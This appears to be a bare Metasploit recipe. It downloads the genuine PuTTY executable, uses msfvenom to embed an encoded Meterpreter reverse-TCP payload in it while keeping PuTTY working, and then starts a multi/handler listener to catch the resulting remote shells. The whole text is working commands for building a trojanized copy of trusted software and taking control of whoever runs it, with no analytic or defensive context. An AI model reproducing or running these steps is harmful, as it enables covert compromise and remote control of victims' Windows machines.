wget http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

msfvenom -a x86 --platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=your linux ip -e x86/shikata_ga_nai -i 3 -b "\x00" -f exe -o puttyX.exe

msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.101
LHOST => your linux ip
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit